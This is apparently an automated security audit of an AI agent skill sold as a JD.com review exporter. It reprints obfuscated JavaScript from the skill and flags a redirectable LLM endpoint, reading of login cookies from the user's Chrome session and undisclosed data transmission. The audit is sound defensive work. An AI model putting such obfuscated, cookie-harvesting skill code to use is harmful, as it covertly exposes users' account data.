_0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Obfuscated Code

High
Category
Supply Chain
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
98% confidence
Finding
The presence of a very large encoded/packed string blob is another direct indicator of obfuscation and hidden literals. In this context it likely conceals user-facing strings, endpoint details, or operational logic that should be transparent to reviewers and users.

Description-Behavior Mismatch

High
Confidence
99% confidence
Finding
The file’s actual behavior is an obfuscated generic LLM client that reads prompt input, optionally reads arbitrary local files, sends data to a remote endpoint, and writes returned content to disk. That materially conflicts with the manifest claim that this skill exports JD reviews, which is a strong indicator of deceptive packaging and raises the likelihood of covert data exfiltration or repurposing under false pretenses.

Lp3

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding
The skill performs browser-driven collection through a local Relay HTTP API and explicitly relies on local services and the user's authenticated Chrome session, which implies meaningful network and environment interaction. Declaring no explicit tool scope creates a permission-transparency gap: operators may invoke a skill that can access local services and authenticated web content without clear constraints or user-visible authorization boundaries.

Vague Triggers

Medium
Confidence
90% confidence
Finding
The invocation text is broad enough to match generic requests about collecting product reviews or reputation data, which increases the chance of the skill being triggered in contexts the user did not specifically intend. Because the skill opens URLs, uses the user's logged-in browser state, scrapes content, and writes local output, overbroad routing can cause unintended browsing automation and data collection.

Missing User Warnings

Medium
Confidence
80% confidence
Finding
The skill sends operation payloads to a local HTTP relay, including page-eval code that extracts browser state and review content from a real Chrome session. There is no user-facing prompt, warning, or disclosure in runtime output that browser/session-derived data will be transmitted over an HTTP API, even if only to localhost.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The probe reads login-identifying cookie values (`pin`, `unick`, `pt_pin`) and captures the first 300 characters of page text, then later may pass that data into classification logic. Even though this is for state detection, it collects account-linked browser data without explicit user notice or strict minimization, creating an unnecessary privacy exposure.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The LLM classifier prompt includes probe data containing URL, title, login-indicating cookie-derived fields, and a page-text excerpt, and sends it through a subprocess without user-facing disclosure. This can leak sensitive browsing and account-context data to another component or external model backend unrelated to the core export task.

Unbounded Resource Access

Medium
Category
Excessive Agency
Content
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]
Confidence
75% confidence
Finding
Skill allows unbounded resource consumption (API calls, storage, compute). Without rate limits or quotas, a compromised or misbehaving agent can cause denial-of-service or cost overruns.

Context-Inappropriate Capability

Medium
Confidence
98% confidence
Finding
The endpoint can be overridden by the WC3_LLM_ENDPOINT environment variable, allowing outbound transmission to an arbitrary server. Combined with obfuscation and deceptive manifesting, this makes silent redirection of prompts and local file contents to attacker-controlled infrastructure especially dangerous.

Context-Inappropriate Capability

Medium
Confidence
98% confidence
Finding
The endpoint can be overridden by the WC3_LLM_ENDPOINT environment variable, allowing outbound transmission to an arbitrary server. Combined with obfuscation and deceptive manifesting, this makes silent redirection of prompts and local file contents to attacker-controlled infrastructure especially dangerous.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
Prompt content is transmitted to a remote LLM endpoint without any visible user-facing disclosure in this file. If users supply sensitive text or if prompt data is sourced from local files, this can result in unintended external disclosure of confidential information.

Natural-Language Policy Violations

Medium
Confidence
84% confidence
Finding
Several user-visible error strings in the script are written in Chinese, which imposes a language choice on users of this CLI. The file does not indicate that the tool is region-specific or provide any mechanism for user language selection.

Context-Inappropriate Capability

Low
Confidence
83% confidence
Finding
The manifest describes a browser automation/export skill for collecting JD product reviews and exporting them to Markdown. This file additionally spawns a separate LLM-assisted classifier to interpret page state, which is not a direct necessity for review export and introduces an unrelated AI-analysis capability beyond straightforward scraping/export logic.

Natural-Language Policy Violations

Low
Confidence
95% confidence
Finding
The LLM prompt explicitly requires a Chinese end-user hint, and the script's user-facing output/messages are written only in Chinese. This imposes a specific language choice without offering the user any locale or language opt-in.

Missing User Warnings

Low
Confidence
94% confidence
Finding
Prompt content is transmitted to a remote LLM endpoint without any visible user-facing disclosure in this file. If users supply sensitive text or if prompt data is sourced from local files, this can result in unintended external disclosure of confidential information.

Static analysis

No suspicious patterns detected.